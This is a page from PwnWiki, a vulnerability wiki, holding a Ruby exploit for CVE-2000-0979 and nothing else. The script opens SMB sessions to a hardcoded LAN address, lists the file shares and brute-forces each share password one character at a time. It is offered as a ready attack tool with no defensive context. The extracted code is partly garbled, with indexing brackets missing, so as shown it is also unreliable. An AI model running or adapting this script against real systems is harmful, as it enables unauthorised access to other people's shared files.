免费、自由、人人可编辑的漏洞库--PwnWiki.com
,
EXP
# this program will exploit CVE-2000-0979. # Exploit was used by Share Password Checker # http://www.securityfriday.com/tools/SPC.html # and by WORM_OPASERV #TODO convert to Metasploit require 'socket' require 'hexdump' #Method: Rex::Text.to_hex_dump #Defined in: # lib/rex/text.rb #permalink .to_hex_dump(str, width = 16, base = nil) ⇒ Object #require 'pp' delay = 0.001 puts "Hello CVE-2000-0979" hex = Hexdump::Dumper.new RHOST = '192.168.1.113' #'127.0.0.1' RPORT = 139 $debug = FALSE socket = TCPSocket.open(RHOST, RPORT) BUFFER_SIZE = 1000 def debug_puts(message) if $debug puts message end end def debug_hex_dump(hex,message) if $debug puts hex.dump(message) end end def sock_close(socket) debug_puts "Closing the Client..................." socket.close # Close the socket end #todo redo Object oriented def update_tid(packet, tid) tid_arr = tid.unpack('C*') packet.map! { |val| if val == "tid0" then tid_arr0 elsif val == "tid1" then tid_arr1 else val end } return packet end def update_password(packet, nbs_length,length0, length1, byte_count0, byte_count1,password, share) new_packet = packet.map { |val| if val == "length0" then length0 elsif val == "length1" then length1 elsif val == "byte_count0" then byte_count0 elsif val == "byte_count1" then byte_count1 elsif val == "nbs_length" then nbs_length else val end } share_chars = share.chars.map {|val| val.ord } new_packet.insert(new_packet.find_index("share"),share_chars).flatten! new_packet.delete_at(new_packet.find_index("share")) new_packet.insert(new_packet.find_index("password"),password).flatten! new_packet.delete_at(new_packet.find_index("password")) return new_packet end def update_machine_name(packet,machine_name) packet.insert(packet.find_index("machine_name"),machine_name).flatten! packet.delete_at(packet.find_index("machine_name")) return packet end def send_and_receive(socket, packet) hex = Hexdump::Dumper.new debug_puts "\nFinal client data " debug_hex_dump(hex,packet.pack('C*').to_s) socket.send packet.pack('C*'),0 response = socket.recvfrom(BUFFER_SIZE) debug_puts "\nServer response\n" debug_hex_dump(hex,response.first.to_s) return response end tree_disconnect_request = 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xff, 0xfe, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00 machine_name = 32.times.map{ 0x41 + Random.rand(6) } session_request_def = 0x81, 0x00, 0x00, 0x44, 0x20, 0x45, 0x45, 0x45, 0x46, 0x45, 0x47, 0x45, 0x42, 0x46, 0x46, 0x45, 0x4d, 0x46, 0x45, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x43, 0x41, 0x00, 0x20, "machine_name", 0x00 session_request_def = update_machine_name(session_request_def,machine_name) neg_prot_req = 0x00, 0x00, 0x00, 0x2f, 0xff, 0x53, 0x4d, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xc8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x02, 0x4e, 0x54, 0x20, 0x4c, 0x4d, 0x20, 0x30, 0x2e, 0x31, 0x32, 0x00 sess_setup_andx_req = 0x00, 0x00, 0x00, 0x9d, 0xff, 0x53, 0x4d, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xfe, 0x00, 0x00, 0x04, 0x00, 0x0d, 0x75, 0x00, 0x74, 0x00, 0x68, 0x0b, 0x02, 0x00, 0x00, 0x00, 0x09, 0x06, 0x03, 0x80, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd4, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x20, 0x50, 0x61, 0x63, 0x6b, 0x20, 0x33, 0x20, 0x32, 0x36, 0x30, 0x30, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x31, 0x00, 0x00, 0x04, 0xff, 0x00, 0x9d, 0x00, 0x08, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x00, 0x5c, 0x5c, 0x31, 0x39, 0x32, 0x2e, 0x31, 0x36, 0x38, 0x2e, 0x31, 0x32, 0x32, 0x2e, 0x31, 0x34, 0x31, 0x5c, 0x49, 0x50, 0x43, 0x24, 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 netshareenum_request = 0x00, 0x00, 0x00, 0x63, 0xff, 0x53, 0x4d, 0x42, 0x25, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xff, 0xfe, 0x00, 0x00, 0x14, 0x00, 0x0e, 0x13, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x88, 0x13, 0x00, 0x00, 0x00, 0x00, 0x13, 0x00, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x5c, 0x50, 0x49, 0x50, 0x45, 0x5c, 0x4c, 0x41, 0x4e, 0x4d, 0x41, 0x4e, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x72, 0x4c, 0x65, 0x68, 0x00, 0x42, 0x31, 0x33, 0x42, 0x57, 0x7a, 0x00, 0x01, 0x00, 0x00, 0x10 sess_setup_andx_req_anon = 0x00, 0x00, 0x00, 0x60, 0xff, 0x53, 0x4d, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0x01, 0x00, 0x0a, 0xff, 0x00, 0x00, 0x00, 0x68, 0x0b, 0x02, 0x00, 0x01, 0x00, 0x0a, 0x06, 0x02, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20, 0x32, 0x31, 0x39, 0x35, 0x00, 0x00, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x32, 0x30, 0x30, 0x30, 0x20, 0x35, 0x2e, 0x30, 0x00 tree_connect_request_path_password = 0x00, 0x00, 0x00, "nbs_length", 0xff, 0x53, 0x4d, 0x42, 0x75, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0x0b, 0x00, 0x00, 0x01, 0x00, 0x04, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00, "length0", "length1", "byte_count0", "byte_count1","password", "share", 0x00, 0x3f, 0x3f, 0x3f, 0x3f, 0x3f, 0x00 tree_disconnect = 0x00, 0x00, 0x00, 0x23, 0xff, 0x53, 0x4d, 0x42, 0x71, 0x00, 0x00, 0x00, 0x00, 0x18, 0x20, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, "tid0", "tid1", 0xc0, 0x0b, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00 myhash = {} @client_packets = { "tree_disconnect_request" => tree_disconnect_request}, {"close1" => "close"}, {"session_request_def" => session_request_def}, {"neg_prot_req" => neg_prot_req}, {"sess_setup_andx_req" => sess_setup_andx_req}, {"netshareenum_request" => netshareenum_request}, {"close3" => "close"}, {"session_request_2" => session_request_def}, {"neg_prot_req_2" => neg_prot_req}, {"sess_setup_andx_req_anon" => sess_setup_andx_req_anon} i = 0 tid = 0 length0, length1, byte_count0, byte_count1,password, share = 0 shares = Array.new @client_packets.each_with_index { |val, idx| begin if valval.keys0.to_s == "close" and socket then sock_close(socket) #close debug_puts "Opening socket again" socket = TCPSocket.open(RHOST, RPORT) #open new next elsif !socket debug_puts "Opening socket again" socket = TCPSocket.open(RHOST, RPORT) #open new next end if 'netshareenum_request'.include? val.keys0 then #update TID in packets packet = update_tid(valval.keys0, tid) debug_puts "Packet updated" else packet = valval.keys0 end debug_puts "\nclient data\n" debug_puts val.keys0 response = send_and_receive(socket,packet) if val.keys0 == "sess_setup_andx_req" then tid = response.first28..29 debug_puts "New tree ID TID !!!!!" debug_hex_dump(hex,tid) end if val.keys0 == "session_request_def" then session_response = response.first0 if (session_response.ord != 0x82) then puts "Session response is not positive! Exiting." exit(0) end end if val.keys0 == "neg_prot_req" then error_class = response.first9 if (error_class.ord != 0x0) then puts "Error in negotiation! Exiting." exit(0) end end if val.keys0 == "netshareenum_request" then num_of_shares = response.first65..66.unpack('cc').first print "Number of shares: " puts num_of_shares puts "Share names: " num_of_shares.times do |n| offset = (n * 20) + 68 share_name = response.firstoffset..offset+15 shares.push(share_name) puts "\t" + share_name end end rescue IOError, SocketError, SystemCallError => e puts e.message puts e.backtrace.inspect exit(-1) end } #Start brute-forcing the password shares.each { |share| next_share = FALSE share = share.delete("\000") #puts share.length nbs_length = 0x33 + share.length length0 = 0x01 length1 = 0x00 byte_count0 = 0x08 + share.length byte_count1 = 0x00 password = 0x20 #TODO skip lowercase letters puts "Brute-forcing password for share: " + share while true begin packet = update_password(tree_connect_request_path_password,nbs_length, length0, length1, byte_count0, byte_count1,password,share) debug_puts "Packet updated" response = send_and_receive(socket,packet) if ((response.first9.unpack('C') + response.first10.unpack('C') + response.first11.unpack('C') + response.first12.unpack('C'))0 == 0) then debug_puts 'Auth success, trying next char' if (password0 ==0x20 and password1==0x20) puts "Empty password works!\n\n" next_share=TRUE break end length0 = length0 + 1 nbs_length = nbs_length + 1 byte_count0 = byte_count0 + 1 password.push(0x20) tid = response.first28..29 debug_puts "New tree ID TID !" debug_hex_dump(hex,tid) packet = update_tid(tree_disconnect, tid) response = send_and_receive(socket,tree_disconnect) else passwordlength0-1 = passwordlength0-1 + 1 password.each { |val| print val.chr() } print "\r" sleep(delay) if (passwordlength0-1 > 128) then password.each { |val| if (val < 128) then print val.chr() end } #TODO check for 0 length password if length0 > 1 puts "\n"+'<- No more char to try, this should be your password, yikes :) '+"\n\n" else puts "Password not found :("+"\n\n" end next_share=TRUE end end rescue IOError, SocketError, SystemCallError => e puts e.message puts e.backtrace.inspect exit(-1) end if (next_share) #moving on to the next share break end end } sock_close(socket)
免费、自由、人人可编辑的漏洞库